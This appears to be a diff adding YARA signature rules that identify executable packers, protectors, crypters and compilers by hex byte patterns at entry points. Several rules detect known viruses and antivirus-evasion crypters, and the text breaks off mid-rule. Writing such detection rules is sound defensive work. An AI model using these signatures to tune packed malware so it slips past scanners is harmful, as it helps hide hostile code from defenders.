+rule _EXECryptor_V2021_protected_IAT__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor V2.0/2.1 (protected IAT) -> www.strongbit.com"
+	strings:
+		$0 = {A4 ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? 94 ?? ?? ?? D8 ?? ?? ?? 00 00 00 00 FF FF FF FF B8 ?? ?? ?? D4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 60 ?? ?? ?? 70 ?? ?? ?? 84 ?? ?? ?? 00 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_Cpp_v50v60_MFC_
+{
+	meta:
+		description = "Microsoft Visual C++ v5.0/v6.0 (MFC)"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v032_Beta_Patch__Dwing_
+{
+	meta:
+		description = "Upack v0.32 Beta (Patch) -> Dwing"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 50 ?? AD 91 F3 A5}
+	condition:
+		$0
+}
+rule _RLPack_119_Basic_Edition_
+{
+	meta:
+		description = "RLPack 1.19 Basic Edition"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 ?? ?? 00 00 EB 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V121_Dll_LZMA_430__ap0x____20080504_
+{
+	meta:
+		description = "RLPack V1.21 Dll (LZMA 4.30) -> ap0x   * 20080504"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 AF 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 E0 0C 00 00 EB 0C 8B 85 DC 0C 00 00 89 85 E0 0C 00 00 E8 87 01 00 00 8D B5 08 0D 00 00 8D 9D C6 04 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 71 0C 00 00 89 85 D8 0C 00 00 E8 98 01 00 00 EB 20 60 8B 85 E0 0C 00 00 FF B5 D8 0C 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD EC 0C 00 00 00 74 0E 83 BD F0 0C 00 00 00 74 05 E8 31 02 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 71 0C 00 00 89 85 04 0D 00 00 5B 60 FF B5 D8 0C 00 00 56 FF B5 04 0D 00 00 FF D3 61 8B B5 04 0D 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD E0 0C 00 00 83 C0 04 89 85 00 0D 00 00 EB 72 56 FF 95 69 0C 00 00 0B C0 75 05 E8 25 03 00 00 85 C0 0F 84 AC 00 00 00 89 85 FC 0C 00 00 8B C6 EB 2E 8B 85 00 0D 00 00 8B 00 50 FF B5 FC 0C 00 00 E8 6D 02 00 00 85 C0 0F 84 86 00 00 00 89 07 83 85 00 0D 00 00 04 83 C7 04 8B 85 00 0D 00 00 83 38 00 75 CD EB 01 46 80 3E 00 75 FA 46 83 C0 04 8B 38 03 BD E0 0C 00 00 83 C0 04 89 85 00 0D 00 00 80 3E 01 75 89 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 04 0D 00 00 FF 95 75 0C 00 00 68 ?? ?? ?? ?? 6A 00 FF B5 04 0D 00 00 FF 95 75 0C 00 00 68 ?? ?? ?? ?? 6A 00 FF B5 D8 0C 00 00 FF 95 75 0C 00 00 E8 A0 00 00 00 E8 9B 01 00 00 61 E9 ?? ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_071__072_PE_DLL_
+{
+	meta:
+		description = "UPX 0.71 - 0.72 [PE DLL]"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 95 01 00 00 60 E8 00 00 00 00 83 CD FF 31 DB 5E 8D BE EF 00 00 FF 57 66 81 87 00 00 00 00 00 00 81 C6 B1 01 00 00 EB 07 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_1451__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor 1.4.5.1 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14}
+		$1 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D 10 ?? ?? 00 00 74 16 A1 08 ?? ?? 00 8B 0D 0C ?? ?? 00 03 48 14 89 4D CC E9 97 04 00 00 C7 05 10 ?? ?? 00 01 00 00 00 ?? ?? 68 54 ?? ?? 00 68 18 ?? ?? 00 6A 00 FF 15 E4 ?? ?? 00 83 7D 0C 01 74 04 83 65 08 00 6A 04 68 00 10 00 00 68 04 01 00 00 6A 00 FF 15 C4 ?? ?? 00 89 45 EC 68 04 01 00 00 FF 75 EC FF 75 08 FF 15 DC ?? ?? 00 8B 4D EC 8D 44 01 FF 89 45 AC 8B 45 AC 0F BE 00 83 F8 5C 74 09 8B 45 AC 48 89 45 AC EB EC 8B 45 AC 40 89 45 AC 8B 45 AC 2B 45 EC 89 45 B0 6A 04 68 00 10 00 00 68 04 01 00 00 6A 00 FF 15 C4 ?? ?? 00 89 45 FC 8B 4D B0 8B 75 EC 8B 7D FC 8B C1 C1 E9 02}
+		$2 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D 10 ?? ?? 00 00 74 16 A1 08 ?? ?? 00 8B 0D 0C ?? ?? 00 03 48 14}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_60_Debug_Version__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 6.0 (Debug Version)] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_packer_03_
+{
+	meta:
+		description = "Unknown packer (03)"
+	strings:
+		$0 = {06 1E 57 56 50 53 51 52 BD ?? ?? 0E 1F 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_096_i_m_
+{
+	meta:
+		description = "aPack 0.96 -i -m"
+	strings:
+		$0 = {8C C8 05 00 00 8E C0 59 8E D0 51 BE 00 01 BF 00 01 50 57 FC B2 80 BD 00 01 50 AC F6 D0 AA FF D5 73 F8 FF D5 B1 01 73 13 FF D5 BB 10 00 72 25 FF D5 12 DB 73 FA 75 00 93 AA EB E3 B7 01 FF D5 12 FF 72 00 FF D5 72 F6 FF D5 13 C9 FF D5 72 F8 80}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyCrypt_PE__214b215__JLab_Software_Creations_
+{
+	meta:
+		description = "PolyCrypt PE - 2.1.4b/2.1.5 -> JLab Software Creations"
+	strings:
+		$0 = {91 8B F4 AD FE C9 80 34 08 ?? E2 FA C3 60 E8 ED FF FF FF EB}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_V12Demo__SISTeam_
+{
+	meta:
+		description = "AntiDote V1.2.Demo -> SIS-Team"
+	strings:
+		$0 = {E8 F7 FE FF FF 05 CB 22 00 00 FF E0 E8 EB FE FF FF 05 BB 19 00 00 FF E0 E8 BD 00 00 00 08 B2 62 00 01 52 17 0C 0F 2C 2B 20 7F 52 79 01 30 07 17 29 4F 01 3C 30 2B 5A 3D C7 26 11 26 06 59 0E 78 2E 10 14 0B 13 1A 1A 3F 64 1D 71 33 57 21 09 24 8B 1B 09 37 08}
+	condition:
+		$0 at entrypoint
+}
+rule _NET_Obfuscator_Smartassembly__RSA_sign_ASL_
+{
+	meta:
+		description = ".NET Obfuscator Smartassembly - RSA sign ASL"
+	strings:
+		$0 = {52 53 41 31 00 04 00 00 01 00 01 00 8F C1 0F 45 44 06 BF 85 56 8F 95 86 75 56 73 83 EB 34 4E F5 16 BE C3 93 7A AD 92 39 B1 5E DF 1E B6 63 E2 50 1C E2}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cue_60_Debug_Version_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual Cue 6.0 (Debug Version)"
+	strings:
+		$0 = {55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 10 01 90 90 90 90 90 90 90 90 E8 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_10__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 1.0 -> p0ke"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 56 33 C0 89 45 ?? ?? ?? ?? 40 00 E8 11 F4 FF FF BE 30 6B 40 00 33 C0 55 68 C9 42 40 00 64 FF 30 64 89 20 E8 C9 FA FF FF BA D8 42 40 00 8B ?? ?? ?? ?? FF FF 8B D8 B8 28 6B 40 00 8B 16 E8 37 F0 FF FF B8 2C 6B 40 00 8B 16 E8 2B F0 FF FF B8 28 6B 40 00 E8 19 F0 FF FF 8B D0 8B C3 8B 0E E8 42 E3 FF FF BA DC 42 40 00 8B C6 E8 2A FA FF FF 8B D8 B8 20 6B 40 00 8B 16 E8 FC EF FF FF B8 24 6B 40 00 8B 16 E8 F0 EF FF FF B8 20 6B 40 00 E8 DE EF FF FF 8B D0 8B C3 8B 0E E8 07 E3 FF FF 6A 00 6A 19 6A 00 6A 32 A1 28 6B 40 00 E8 59 EF FF FF 83 E8 05 03 C0 8D 55 EC E8 94 FE FF FF 8B 55 EC B9 24 6B 40 00 A1 20 6B 40 00 E8 E2 F6 FF FF 6A 00 6A 19 6A 00 6A 32}
+		$1 = {55 8B EC 83 C4 EC 53 56 33 C0 89 45 ?? ?? ?? ?? 40 00 E8 11 F4 FF FF BE 30 6B 40 00 33 C0 55 68 C9 42 40 00 64 FF 30 64 89 20 E8 C9 FA FF FF BA D8 42 40 00 8B ?? ?? ?? ?? FF FF 8B D8 B8 28 6B 40 00 8B 16 E8 37 F0 FF FF B8 2C 6B 40 00 8B 16 E8 2B F0 FF FF B8 28 6B 40 00 E8 19 F0 FF FF 8B D0 8B C3 8B 0E E8 42 E3 FF FF BA DC 42 40 00 8B C6 E8 2A FA FF FF 8B D8 B8 20 6B 40 00 8B 16 E8 FC EF FF FF B8 24 6B 40 00 8B 16 E8 F0 EF FF FF B8 20 6B 40 00 E8 DE EF FF FF 8B D0 8B C3 8B 0E E8 07 E3 FF FF 6A 00 6A 19 6A 00 6A 32 A1 28 6B 40 00 E8 59 EF FF FF 83 E8 05 03 C0 8D 55 EC E8 94 FE FF FF 8B 55 EC B9 24 6B 40 00 A1 20 6B 40 00 E8 E2 F6 FF FF 6A 00 6A 19 6A 00 6A 32}
+		$2 = {55 8B EC 83 C4 EC 53 56 33 C0 89 45 ?? ?? ?? ?? 40 00 E8 11 F4 FF FF BE 30 6B 40 00 33 C0 55 68 C9 42 40 00 64 FF 30 64 89 20 E8 C9 FA FF FF BA D8 42 40 00 8B ?? ?? ?? ?? FF FF 8B D8 B8 28 6B 40 00 8B 16 E8 37 F0 FF FF B8 2C 6B 40 00 8B 16 E8 2B F0 FF FF}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _Obsidium_1339__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.9 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 28 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 CF 27 00 00}
+		$1 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 28 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 03}
+		$2 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 28 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 CF 27 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _MSLRH_v032a_fake_MSVCpp_DLL_Method_4__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake MSVC++ DLL Method 4) -> emadicius"
+	strings:
+		$0 = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C 85 F6 5F 5E 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+		$1 = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C 85 F6 5F 5E 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SkD_Undetectabler_Pro_20_No_UPX_Method__SkD_
+{
+	meta:
+		description = "SkD Undetectabler Pro 2.0 (No UPX Method) -> SkD"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 FC 26 00 10 E8 EC F3 FF FF 6A 0F E8 15 F5 FF FF E8 64 FD}
+		$1 = {55 8B EC 83 C4 F0 B8 FC 26 00 10 E8 EC F3 FF FF 6A 0F E8 15 F5 FF FF E8 64 FD FF FF E8 BB ED FF FF 8D 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLP_v073beta__ap0x_
+{
+	meta:
+		description = "RLP v0.7.3beta -> ap0x"
+	strings:
+		$0 = {60 8B DD E8 00 00 00 00 5D 95 32 C0 95 89 9D 80 00 00 00 B8 42 31 40 00 BB 41 30 40 00 2B C3 03 C5 33 D2 8A 10 40 B9 ?? ?? 00 00 8B F9 30 10 8A 10 40 49 75 F8 64 EF 86 3D 30 00 00 0F B9 FF 4B 89 52 5C 4C BD 77 C2 0C CE 88 4E 2D E8 00 00 00 5D 0D DB 5E 56}
+	condition:
+		$0
+}
+rule _AVPACK_v120_
+{
+	meta:
+		description = "AVPACK v1.20"
+	strings:
+		$0 = {50 1E 0E 1F 16 07 33 F6 8B FE B9 ?? ?? FC F3 A5 06 BB ?? ?? 53 CB}
+		$1 = {50 1E 0E 1F 16 07 33 F6 8B FE B9 ?? ?? FC F3 A5 06 BB ?? ?? 53 CB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _fEaRzCrypter_v10__fEaRz_
+{
+	meta:
+		description = "fEaRzCrypter v1.0 -> fEaRz"
+	strings:
+		$0 = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 ?? 53 56 57 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_10x__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector 1.0x -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01}
+		$1 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DxPack_10_
+{
+	meta:
+		description = "DxPack 1.0"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 8B D5 81 ED ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 81 EA 06 ?? ?? ?? 89 95 ?? ?? ?? ?? 83 BD 45}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 8B FD 81 ED ?? ?? ?? ?? 2B B9 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Hafen1641_
+{
+	meta:
+		description = "Vx: Hafen.1641"
+	strings:
+		$0 = {E8 ?? ?? 01 ?? ?? ?? CE CC 25 ?? ?? 25 ?? ?? 25 ?? ?? 40 51 D4 ?? ?? ?? CC 47 CA ?? ?? 46 8A CC 44 88 CC}
+		$1 = {E8 ?? ?? 01 ?? ?? ?? CE CC 25 ?? ?? 25 ?? ?? 25 ?? ?? 40 51 D4 ?? ?? ?? CC 47 CA ?? ?? 46 8A CC 44 88 CC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Cexe_10a_
+{
+	meta:
+		description = "Cexe 1.0a"
+	strings:
+		$0 = {55 8B EC 81 EC 0C 02 00 00 56 BE 04 01 00 00 8D 85 F8 FE FF FF 56 50 6A 00 FF 15 54 10 40 00 8A 8D F8 FE FF FF 33 D2 84 C9 8D 85 F8 FE FF FF 74 16 80 F9 5C 75 03 8D 50 01 8A 48 01 40 84 C9 75 F0 85 D2 74 02 20 0A 8D 45 FC 50 8D 85 F8 FE FF}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_HTMLHelp_file_
+{
+	meta:
+		description = "MS HTML-Help file"
+	strings:
+		$0 = {49 54 53 46}
+	condition:
+		$0 at entrypoint
+}
+rule _pirit_v15_
+{
+	meta:
+		description = "$pirit v1.5"
+	strings:
+		$0 = {B4 4D CD 21 E8 ?? ?? FD E8 ?? ?? B4 51 CD 21}
+		$1 = {5B 24 55 50 44 FB 32 2E 31 5D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Trap_113_EXE_
+{
+	meta:
+		description = "Trap 1.13 [EXE]"
+	strings:
+		$0 = {8C D1 BA 99 CB 8E D2 33 D2 8E D1 8B CA EB 05 90 20 73 6B 00 BA 16 01 B4 4E CD 21 B9 E8 03 EB 03 90 CD 20 E2 F9 33 D2 B9 00 05 EB 03 90 CD 20 81 F9 E2 03 74 66 83 C1 FE 83 C2 01 EB ED 54 20}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_V22007411V22008610__WFS___20080610_
+{
+	meta:
+		description = "EncryptPE V2.2007.4.11-V2.2008.6.10 -> WFS  * 20080610"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 1B 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Go32Stub_v200T_DOSExtender_
+{
+	meta:
+		description = "Go32Stub v.2.00T DOS-Extender"
+	strings:
+		$0 = {0E 1F 8C 1E ?? ?? 8C 06 ?? ?? FC B4 30 CD 21 3C}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Quake518_
+{
+	meta:
+		description = "Vx: Quake.518"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 ?? ?? ?? ?? ?? ?? ?? B8 21 35 CD 21 81}
+		$1 = {1E 06 8C C8 8E D8 ?? ?? ?? ?? ?? ?? ?? B8 21 35 CD 21 81}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AHTeam_EP_Protector_03__041__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 - 0.41 -> FEUERRADER"
+	strings:
+		$0 = {33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 90 90 90 FF E0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Encrypted_by_RSCC286_v101_
+{
+	meta:
+		description = "Encrypted by: RSCC/286 v1.01"
+	strings:
+		$0 = {FE 52 53 43 43 2F 31 2E 30 31 FE}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v037_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.37 beta -> Dwing"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 D2 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 8E FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F1 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 51 59 46 AD 85 C0 74 1F}
+		$1 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+		$2 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 D2 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 8E FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F1 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 51 59 46 AD 85 C0 74 1F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _tElock_10_private__tE_
+{
+	meta:
+		description = "tElock 1.0 (private) -> tE!"
+	strings:
